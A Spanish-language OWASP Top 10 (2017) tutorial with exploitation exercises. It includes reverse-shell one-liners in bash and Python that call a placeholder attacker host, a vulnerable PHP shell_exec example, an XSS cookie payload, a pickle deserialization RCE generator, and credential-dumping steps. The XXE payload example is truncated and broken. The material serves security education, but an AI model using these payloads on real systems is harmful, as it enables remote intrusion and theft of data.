Introducción a OWASP Top 10
El OWASP Top 10 lista las diez vulnerabilidades web más críticas. Esta guía aborda cada una con ejemplos y ejercicios prácticos para entender y explotar estas fallas de seguridad.
- Inyección de código
- Autenticación deficiente
- Exposición de datos sensibles
- Inyección de entidades externas XML (XXE)
- Control de acceso roto
- Configuración de seguridad incorrecta
- Cross-site Scripting (XSS)
- Deserialización insegura
- Componentes con vulnerabilidades conocidas
- Registro y monitoreo insuficiente
Basado en el estándar OWASP Top 10 de 2017.
Inyección: Vulnerabilidad Crítica
Las vulnerabilidades de inyección ocurren cuando los datos de entrada del usuario se interpretan como comandos o consultas en la aplicación. Ejemplos comunes incluyen inyección SQL y de comandos del sistema.
Para mitigar, se recomienda:
- Usar listas de permitidos para validar entradas.
- Filtrar caracteres peligrosos con funciones especializadas.
Ejemplo de código vulnerable en PHP:
<?php
$entrada_usuario = $_GET['cmd'];
// Código inseguro: ejecuta directamente la entrada
shell_exec($entrada_usuario);
?>
Para prevenir, se debe escapar la entrada antes de usarla en comandos.
Inyección de Comandos del Sistema
Esta vulnerabilidad permite ejecutar comandos arbitrarios en el servidor. Un atacante podría obtener una shell reversa usando payloads como:
bash -i >& /dev/tcp/IP_ATAQUE/PUERTO 0>&1
Alternativamente, se pueden usar herramientas como ncat con soporte para ejecución remota.
Ejercicio de Inyección de Comandos
En aplicaciones web, la inyección activa de comandos ocurre cuando las respuestas se muestran directamente en la página. Para detectarla, ejecutar comandos como whoami o ls y observar la salida.
Ejemplo de explotación con reversa shell:
import socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('IP_ATAQUE', PUERTO))
subprocess.call(['/bin/sh', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())
Post-explotación, se puede enumerar el sistema con comandos como id o uname -a.
Autenticación Deficiente
Problemas como contraseñas débiles, fuerza bruta o cookies de sesión predecibles pueden comprometre cuentas. Mitigaciones incluyen políticas de contraseñas fuertes y bloqueo de cuentas tras intentos fallidos.
Ejemplo de ataque: registrar un usuario con espacios extras para evadir comprobaciones. Por ejemplo, si 'admin' existe, crear ' admin' podría otorgar privilegios similares.
Ejercicio de Autenticación Deficiente
Probar el registro de usuarios con variaciones de nombres existentes para explotar fallos lógicos en la validación.
Exposición de Datos Sensibles
Esto ocurre cuando datos confidenciales se filtran, como bases de datos en archivos planos (SQLite) expuestos en directorios web. Ejemplo de consulta en SQLite:
sqlite3 base_datos.db
.tables
PRAGMA info_tabla(tabla_usuarios);
SELECT * FROM tabla_usuarios;
Para contraseñas hash, se pueden usar herramientas como hashcat o sitios en línea para romper hashes débiles (MD5, SHA1).
Ejercicio de Exposición de Datos
Descargar bases de datos expuestas y extraer credenciales para iniciar sesión en la aplicación.
Inyección de Entidades Externas XML (XXE)
XXE explota parsers XML para leer archivos o ejecutar código. Ejemplo de payload:
<?xml version="1.0"?>
]>
<raiz>&archivo;</raiz>
Conceptos clave: XML, DTD (definición de estructura) y entidades.
Ejercicio de XXE
Usar payloads XXE en endpoints que procesan XML para listar archivos o obtener shells. Ejemplo con Burp Suite para enviar peticiones modificadas.
Control de Acceso Roto (IDOR)
IDOR permite acceder a recursos no autorizados cambiando parámetros directos, como IDs en URLs. Ejemplo: alterar ?id=123 a ?id=124 para ver datos de otro usuario.
Ejercicio de IDOR
Probar endpoints con parámetros numéricos o predecibles para encontrar información privilegiada.
Configuración de Seguridad Incorrecta
Incluye credenciales por defecto, servicios innecesarios o encabezados HTTP mal configurados. Ejemplo: usar credenciales predeterminadas como 'admin:admin' en paneles de administración.
Para descubrir, revisar archivos como robots.txt o fuentes públicas como GitHub para configuraciones expuestas.
Ejercicio de Configuración Incorrecta
Buscar credenciales por defecto en documentación o repositorios para acceder a aplicaciones.
Cross-site Scripting (XSS)
XSS inyecta scripts maliciosos en páginas web. Tipos: almacenado, reflejado y basado en DOM. Payloads comunes:
<script>alert(document.cookie)</script>
Para mitigar, sanitizar entradas y usar encabezados de seguridad como Content-Security-Policy.
Ejercicio de XSS
Probar entradas con scripts para ver si se ejecutan, por ejemplo, en formularios de comentarios.
Deserialización Inseugra
Ataques que explotan la deserialización de datos no confiables, como cookies manipuladas. Ejemplo en Python con pickle:
import pickle
import base64
class Exploit:
def __reduce__(self):
import os
return (os.system, ('comando_malicioso',))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
Este código genera un payload que ejecuta comandos al deserializar.
Ejercicio de Deserialización
Modificar cookies codificadas (Base64) para inyectar objetos maliciosos y obtener acceso.
Componentes con Vulnerabilidades Conocidas
Software desactualizado con exploits públicos. Usar bases de datos como Exploit-DB para buscar vulnerabilidades y adaptar scripts de explotación.
Ejercicio de Componentes Vulnerables
Identificar versiones de software y aplicar exploits existentes, ajustando según sea necesario.
Registro y Monitoreo Insuficiente
La falta de logs dificulta detectar ataques. Deben registrarse eventos como intentos de login fallidos, accesos sospechosos y cambios de configuración.
Ejemplo de análisis de logs: buscar picos en intentos de autenticación desde IPs desconocidas, lo que indica fuerza bruta.
Ejercicio de Monitoreo
Analizar archivos de log para identificar patrones maliciosos y determinar el impacto.